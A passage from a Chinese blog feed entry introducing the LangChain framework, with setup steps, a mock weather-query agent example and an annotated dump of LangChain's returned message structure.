Agent编程中，如果没有特殊需要，都推荐使用LangChain来编写，方便后续维护和拓展能力。</p><h3 id="1-2-为什么选择LangChain？">1.2. 为什么选择LangChain？</h3><p>在众多Agent框架中，我们选择LangChain作为入门框架，主要有以下几个原因：</p><ol><li><strong>生态成熟</strong>：LangChain是目前最流行的Agent框架，文档完善，社区活跃</li><li><strong>上手简单</strong>：相比其他框架，LangChain的学习曲线相对平缓</li><li><strong>功能丰富</strong>：提供了从基础的LLM调用到复杂的Agent编排的完整工具链</li><li><strong>兼容性好</strong>：支持多种大模型提供商，包括OpenAI、Anthropic、Goggle等</li></ol><h3 id="1-3-LangChain的核心组件">1.3. LangChain的核心组件</h3><p>在开始写代码之前，让我们先了解一下LangChain的分层。</p><p>LangChain 分为三层，从下往上依次增强功能：</p><ul><li>第一层：模型层。统一接口连接不同的 LLM。无论用 OpenAI、Claude 还是其他模型，调用方式都一样。</li><li>第二层：工具和代理。给模型添加工具能力。模型可以选择调用不同的工具去完成任务（比如搜索、数据库查询等）。</li><li>第三层：工作流编排。在LangChain的基础上，可用 LangGraph 把多个步骤连接成一个完整流程，串联整个工作流。比如先分类用户问题，再去搜索，最后生成回答。</li></ul><p>这三层设计的好处是：你可以从简单场景开始，随着需求变复杂再往上加功能。直到达到预订目标。</p><h2 id="2-环境准备">2. 环境准备</h2><h3 id="2-1-安装LangChain-SDK">2.1. 安装LangChain SDK</h3><p>首先，我们需要安装LangChain。在开始之前，请确保你已经安装了Python 3.10+版本。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install langchain langchain-openai python-dotenv</span><br></pre></td></tr></table></figure><p>这里我们安装了几个关键包：</p><ul><li><code>langchain</code>：LangChain的核心框架</li><li><code>langchain-openai</code>：OpenAI模型的支持包（不安装的话没办法使用OpenAI API）</li><li><code>python-dotenv</code>：环境变量管理工具（加载<code>.env</code>文件）</li></ul><p>如果你使用了uv，可以直接在本专栏Agent仓库下使用<code>uv run</code>运行示例代码，无需关注第三方包安装。</p><h3 id="2-2-配置环境变量">2.2. 配置环境变量</h3><p>为了安全地管理API密钥，我们使用<code>.env</code>文件来存储敏感信息。在项目根目录创建<code>.env</code>文件：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"># OpenAI API配置</span><br><span class="line">OPENAI_API_KEY=你的_api_key</span><br><span class="line">OPENAI_BASE_URL=https://api.siliconflow.cn/v1</span><br><span class="line">OPENAI_MODEL=Qwen/Qwen2.5-7B-Instruct</span><br></pre></td></tr></table></figure><blockquote><p><strong>慕雪小贴士</strong>：如果你是在自己的仓库里面使用<code>.env</code>，这个<code>.env</code>文件一定要记得添加到<code>.gitignore</code>中，避免把API密钥上传到代码仓库！</p></blockquote><h2 id="3-第一个LangChain-Agent">3. 第一个LangChain Agent</h2><p>让我们来写一个简单的天气查询Agent。这个Agent能够回答用户关于天气的问题，虽然它只是返回一个模拟的结果。</p><h3 id="3-1-完整代码">3.1. 完整代码</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> langchain.agents <span class="keyword">import</span> create_agent</span><br><span class="line"><span class="keyword">from</span> langchain.chat_models <span class="keyword">import</span> init_chat_model</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> dotenv <span class="keyword">import</span> load_dotenv</span><br><span class="line"></span><br><span class="line"><span class="comment"># 加载环境变量</span></span><br><span class="line">load_dotenv(override=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_weather</span>(<span class="params">city: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;获取指定城市的天气信息</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Args:</span></span><br><span class="line"><span class="string">        city: 城市名称</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Returns:</span></span><br><span class="line"><span class="string">        天气信息字符串</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&quot;<span class="subst">&#123;city&#125;</span>的天气总是晴朗的！今天的温度是25°C，非常适合出门。&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 配置模型：设置 base URL 和 API key</span></span><br><span class="line">model = init_chat_model(</span><br><span class="line">    model=os.getenv(<span class="string">&quot;OPENAI_MODEL&quot;</span>), <span class="comment"># 从环境变量获取模型</span></span><br><span class="line">    model_provider=<span class="string">&quot;openai&quot;</span>,  <span class="comment"># 必须设置成openai才能正常识别格式</span></span><br><span class="line">    api_key=os.getenv(<span class="string">&quot;OPENAI_API_KEY&quot;</span>),  <span class="comment"># 从环境变量获取 API Key</span></span><br><span class="line">    base_url=os.getenv(<span class="string">&quot;OPENAI_BASE_URL&quot;</span>)  <span class="comment"># 从环境变量获取 Base URL</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建Agent</span></span><br><span class="line">agent = create_agent(</span><br><span class="line">    model=model,  <span class="comment"># 传入配置好的模型实例</span></span><br><span class="line">    tools=[get_weather],  <span class="comment"># 传入工具列表</span></span><br><span class="line">    system_prompt=<span class="string">&quot;你是一个有帮助的助手，可以回答天气相关的问题。&quot;</span>,</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 运行Agent</span></span><br><span class="line">ret = agent.invoke(</span><br><span class="line">    &#123;<span class="string">&quot;messages&quot;</span>: [&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;user&quot;</span>, <span class="string">&quot;content&quot;</span>: <span class="string">&quot;北京的天气怎么样？&quot;</span>&#125;]&#125;</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 打印回答</span></span><br><span class="line"><span class="built_in">print</span>(ret.get(<span class="string">&#x27;messages&#x27;</span>, [])[-<span class="number">1</span>].content)</span><br></pre></td></tr></table></figure><h3 id="3-2-代码解析">3.2. 代码解析</h3><p>让我们一步步来解析这段代码：</p><h4 id="第一步：导入依赖">第一步：导入依赖</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> langchain.agents <span class="keyword">import</span> create_agent</span><br><span class="line"><span class="keyword">from</span> langchain.chat_models <span class="keyword">import</span> init_chat_model</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> dotenv <span class="keyword">import</span> load_dotenv</span><br></pre></td></tr></table></figure><p>这里我们导入了LangChain的核心组件：</p><ul><li><code>create_agent</code>：用于创建Agent的函数</li><li><code>init_chat_model</code>：用于初始化聊天模型</li><li><code>os</code>：用于读取环境变量</li><li><code>load_dotenv</code>：用于加载<code>.env</code>文件</li></ul><h4 id="第二步：配置模型">第二步：配置模型</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">model = init_chat_model(</span><br><span class="line">    model=os.getenv(<span class="string">&quot;OPENAI_MODEL&quot;</span>),</span><br><span class="line">    model_provider=<span class="string">&quot;openai&quot;</span>,</span><br><span class="line">    api_key=os.getenv(<span class="string">&quot;OPENAI_API_KEY&quot;</span>),</span><br><span class="line">    base_url=os.getenv(<span class="string">&quot;OPENAI_BASE_URL&quot;</span>)</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>这里我们使用了<code>init_chat_model</code>来创建一个聊天模型实例。虽然我们使用的是通义千问模型，但设置<code>model_provider=&quot;openai&quot;</code>是因为LangChain的OpenAI接口最通用，兼容所有OpenAI格式的API。</p><h4 id="第三步：定义工具函数">第三步：定义工具函数</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">get_weather</span>(<span class="params">city: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;获取指定城市的天气信息</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Args:</span></span><br><span class="line"><span class="string">        city: 城市名称</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Returns:</span></span><br><span class="line"><span class="string">        天气信息字符串</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&quot;<span class="subst">&#123;city&#125;</span>的天气总是晴朗的！今天的温度是25°C，非常适合出门。&quot;</span></span><br></pre></td></tr></table></figure><p>这是一个简单的工具函数，LangChain会自动识别函数的文档字符串和参数类型，并将其转换为可调用的工具。这里的返回值和之前Function Calling章节一样，都是写死的一个假的返回值。</p><p>注意：函数的文档字符串（就是<code>&quot;&quot;&quot;</code>包裹的函数注释，python中称作docstring）非常重要！LangChain会使用它作为Agent Function Calling的Desc工具描述，LLM会根据它来理解工具的功能和使用方法。</p><h4 id="第四步：创建Agent">第四步：创建Agent</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">agent = create_agent(</span><br><span class="line">    model=model,</span><br><span class="line">    tools=[get_weather],</span><br><span class="line">    system_prompt=<span class="string">&quot;你是一个有帮助的助手，可以回答天气相关的问题。&quot;</span>,</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>这是最关键的一步，我们将模型、工具和系统提示组合在一起，创建了一个完整的Agent。</p><h4 id="第五步：运行Agent">第五步：运行Agent</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ret = agent.invoke(</span><br><span class="line">    &#123;<span class="string">&quot;messages&quot;</span>: [&#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;user&quot;</span>, <span class="string">&quot;content&quot;</span>: <span class="string">&quot;北京的天气怎么样？&quot;</span>&#125;]&#125;</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(ret.get(<span class="string">&#x27;messages&#x27;</span>, [])[-<span class="number">1</span>].content)</span><br></pre></td></tr></table></figure><p>我们使用<code>invoke</code>方法来运行Agent，传入用户的问题，然后从返回结果中提取AI的回答。</p><h3 id="3-3-运行结果">3.3. 运行结果</h3><p>运行这个程序，你会看到类似这样的输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">北京的天气总是晴朗的！今天的温度是25°C，非常适合出门。</span><br></pre></td></tr></table></figure><p>可以看到，Agent成功地识别了用户的天气查询需求，自动调用了我们的<code>get_weather</code>工具，并给出了一个友好的回答。</p><h2 id="4-LangChain的返回值结构">4. LangChain的返回值结构</h2><p>如下是上面代码中ret打印出来的结构，是一个dict。</p><p>这里的结构和我们使用OpenAI API时维护的messages数组基本一致，只不过LangChain帮我们在原始数据的基础上加了一层封装。</p><p>每个Dict结构的详细含义，在注释里面写清楚了，参考理解即可。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="string">&#x27;messages&#x27;</span>: [</span><br><span class="line">        <span class="comment"># 因为我们没有设置system prompt，所以第一条就是user message</span></span><br><span class="line">        <span class="comment"># langchain会给每一个消息都上一个id，方便标识和管理</span></span><br><span class="line">        HumanMessage(content=<span class="string">&#x27;北京的天气怎么样？&#x27;</span>,</span><br><span class="line">                     additional_kwargs=&#123;&#125;,</span><br><span class="line">                     response_metadata=&#123;&#125;,</span><br><span class="line">                     <span class="built_in">id</span>=<span class="string">&#x27;88e2d0c7-fe27-486a-9acd-8b2b02e07b11&#x27;</span>),</span><br><span class="line">        <span class="comment"># 这是ai对我们问题的回答，其中response_metadata包裹了一些当前会话的元数据</span></span><br><span class="line">        <span class="comment"># response_metadata是当前请求的数据，usage_metadata是当前会话累积数据</span></span><br><span class="line">        <span class="comment"># finish_reason标明当前AI消息的类型，tool_calls代表是一个工具调用消息</span></span><br><span class="line">        AIMessage(content=<span class="string">&#x27;&#x27;</span>,</span><br><span class="line">                  additional_kwargs=&#123;<span class="string">&#x27;refusal&#x27;</span>: <span class="literal">None</span>&#125;,</span><br><span class="line">                  response_metadata=&#123;</span><br><span class="line">                      <span class="string">&#x27;token_usage&#x27;</span>: &#123;</span><br><span class="line">                          <span class="string">&#x27;completion_tokens&#x27;</span>: <span class="number">22</span>,</span><br><span class="line">                          <span class="string">&#x27;prompt_tokens&#x27;</span>: <span class="number">216</span>,</span><br><span class="line">                          <span class="string">&#x27;total_tokens&#x27;</span>: <span class="number">238</span>,</span><br><span class="line">                          <span class="string">&#x27;completion_tokens_details&#x27;</span>: <span class="literal">None</span>,</span><br><span class="line">                          <span class="string">&#x27;prompt_tokens_details&#x27;</span>: <span class="literal">None</span>,</span><br><span class="line">                          <span class="string">&#x27;cache_write_tokens&#x27;</span>: <span class="number">0</span>,</span><br><span class="line">                          <span class="string">&#x27;cache_read_tokens&#x27;</span>: <span class="number">0</span>,</span><br><span class="line">                          <span class="string">&#x27;input_tokens&#x27;</span>: <span class="number">0</span>,</span><br><span class="line">                          <span class="string">&#x27;output_tokens&#x27;</span>: <span class="number">0</span></span><br><span class="line">                      &#125;,</span><br><span class="line">                      <span class="string">&#x27;model_provider&#x27;</span>: <span class="string">&#x27;openai&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;model_name&#x27;</span>: <span class="string">&#x27;longcat-flash-chatai-api&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;system_fingerprint&#x27;</span>: <span class="literal">None</span>,</span><br><span class="line">                      <span class="string">&#x27;id&#x27;</span>: <span class="string">&#x27;ad72c555243646738b62d2f48a552d23&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;finish_reason&#x27;</span>: <span class="string">&#x27;tool_calls&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;logprobs&#x27;</span>: <span class="literal">None</span></span><br><span class="line">                  &#125;,</span><br><span class="line">                  <span class="built_in">id</span>=<span class="string">&#x27;lc_run--cd5fb602-3103-4d67-8daa-640e90f255d2-0&#x27;</span>,</span><br><span class="line">                  <span class="comment"># 注意这里的tool_calls的id，会使用这个标识工具调用返回值</span></span><br><span class="line">                  <span class="comment"># 这里返回的tool_calls是一个list，因为AI可以一次性返回多个工具调用参数</span></span><br><span class="line">                  tool_calls=[&#123;</span><br><span class="line">                      <span class="string">&#x27;name&#x27;</span>: <span class="string">&#x27;get_weather&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;args&#x27;</span>: &#123;</span><br><span class="line">                          <span class="string">&#x27;city&#x27;</span>: <span class="string">&#x27;北京&#x27;</span></span><br><span class="line">                      &#125;,</span><br><span class="line">                      <span class="string">&#x27;id&#x27;</span>: <span class="string">&#x27;608a87b7-042d-4b82-b9a6-e285db91b54d&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;type&#x27;</span>: <span class="string">&#x27;tool_call&#x27;</span></span><br><span class="line">                  &#125;],</span><br><span class="line">                  usage_metadata=&#123;</span><br><span class="line">                      <span class="string">&#x27;input_tokens&#x27;</span>: <span class="number">216</span>,</span><br><span class="line">                      <span class="string">&#x27;output_tokens&#x27;</span>: <span class="number">22</span>,</span><br><span class="line">                      <span class="string">&#x27;total_tokens&#x27;</span>: <span class="number">238</span>,</span><br><span class="line">                      <span class="string">&#x27;input_token_details&#x27;</span>: &#123;&#125;,</span><br><span class="line">                      <span class="string">&#x27;output_token_details&#x27;</span>: &#123;&#125;</span><br><span class="line">                  &#125;),</span><br><span class="line">        <span class="comment"># 可以看到，这里的tool_call_id和上面的id是对应上的</span></span><br><span class="line">        ToolMessage(content=<span class="string">&#x27;北京的天气总是晴朗的！今天的温度是25°C，非常适合出门。&#x27;</span>,</span><br><span class="line">                    name=<span class="string">&#x27;get_weather&#x27;</span>,</span><br><span class="line">                    <span class="built_in">id</span>=<span class="string">&#x27;b5dfa3b9-1c35-451f-a74c-611153a17f4f&#x27;</span>,</span><br><span class="line">                    tool_call_id=<span class="string">&#x27;608a87b7-042d-4b82-b9a6-e285db91b54d&#x27;</span>),</span><br><span class="line">        <span class="comment"># AI获取到了工具调用结果，生成了最终的回答</span></span><br><span class="line">        <span class="comment"># finish_reason: stop代表这条消息就是终止消息了</span></span><br><span class="line">        AIMessage(content=<span class="string">&#x27;北京的天气总是晴朗的！今天的温度是25°C，非常适合出门。&#x27;</span>,</span><br><span class="line">                  additional_kwargs=&#123;<span class="string">&#x27;refusal&#x27;</span>: <span class="literal">None</span>&#125;,</span><br><span class="line">                  response_metadata=&#123;</span><br><span class="line">                      <span class="string">&#x27;token_usage&#x27;</span>: &#123;</span><br><span class="line">                          <span class="string">&#x27;completion_tokens&#x27;</span>: <span class="number">17</span>,</span><br><span class="line">                          <span class="string">&#x27;prompt_tokens&#x27;</span>: <span class="number">269</span>,</span><br><span class="line">                          <span class="string">&#x27;total_tokens&#x27;</span>: <span class="number">286</span>,</span><br><span class="line">                          <span class="string">&#x27;completion_tokens_details&#x27;</span>: <span class="literal">None</span>,</span><br><span class="line">                          <span class="string">&#x27;prompt_tokens_details&#x27;</span>: <span class="literal">None</span>,</span><br><span class="line">                          <span class="string">&#x27;cache_write_tokens&#x27;</span>: <span class="number">0</span>,</span><br><span class="line">                          <span class="string">&#x27;cache_read_tokens&#x27;</span>: <span class="number">0</span>,</span><br><span class="line">                          <span class="string">&#x27;input_tokens&#x27;</span>: <span class="number">0</span>,</span><br><span class="line">                          <span class="string">&#x27;output_tokens&#x27;</span>: <span class="number">0</span></span><br><span class="line">                      &#125;,</span><br><span class="line">                      <span class="string">&#x27;model_provider&#x27;</span>: <span class="string">&#x27;openai&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;model_name&#x27;</span>: <span class="string">&#x27;longcat-flash-chatai-api&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;system_fingerprint&#x27;</span>: <span class="literal">None</span>,</span><br><span class="line">                      <span class="string">&#x27;id&#x27;</span>: <span class="string">&#x27;3b6d83b7b37c4cbbb057b95bc4329b23&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;finish_reason&#x27;</span>: <span class="string">&#x27;stop&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;logprobs&#x27;</span>: <span class="literal">None</span></span><br><span class="line">                  &#125;,</span><br><span class="line">                  <span class="built_in">id</span>=<span class="string">&#x27;lc_run--c9fa02c7-4b3c-461f-a1a0-04e80cb9a62f-0&#x27;</span>,</span><br><span class="line">                  usage_metadata=&#123;</span><br><span class="line">                      <span class="string">&#x27;input_tokens&#x27;</span>: <span class="number">269</span>,</span><br><span class="line">                      <span class="string">&#x27;output_tokens&#x27;</span>: <span class="number">17</span>,</span><br><span class="line">                      <span class="string">&#x27;total_tokens&#x27;</span>: <span class="number">286</span>,</span><br><span class="line">                      <span class="string">&#x27;input_token_details&#x27;</span>: &#123;&#125;,</span><br><span class="line">                      <span class="string">&#x27;output_token_details&#x27;</span>: &#123;&#125;</span><br><span class="line">                  &#125;)</span><br><span class="line">    ]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对于用户而言，我们在这个期间没有关注过每一个阶段的任何返回值，全部数据都由LangChain请求并处理相应了，我们只需要关注Agent返回的最终的结果是否符合预期，以及这个过程中是否会抛出异常等等……</p><h2 id="5-The-end">5. The end</h2><p>本文只对LangChain的Demo做了个基本的测试和说明，下一篇文章就会开始以实际场景，构建我们的测试Agent了。</p><p>对于LangChain这些Agent框架而言，刚开始学习时，我们没有必要全知全会，多借助AI的能力去快速学习上手这些Agent的SDK，尽快从初学者变成能够使用SDK基本进行Agent开发的程序员，然后再去慢慢精进相关的知识！</p>]]></content>
    
    
    <summary type="html">本文介绍了LangChain框架的基本概念和使用方法，并通过一个简单的天气查询Agent演示了如何快速上手LangChain开发。</summary>
    
    
    
    <category term="编程学习" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/"/>
    
    <category term="Agent智能体开发" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/Agent%E6%99%BA%E8%83%BD%E4%BD%93%E5%BC%80%E5%8F%91/"/>
    
    
    <category term="AI" scheme="https://blog.musnow.top/tags/AI/"/>
    
    <category term="Agent开发" scheme="https://blog.musnow.top/tags/Agent%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
</feed>
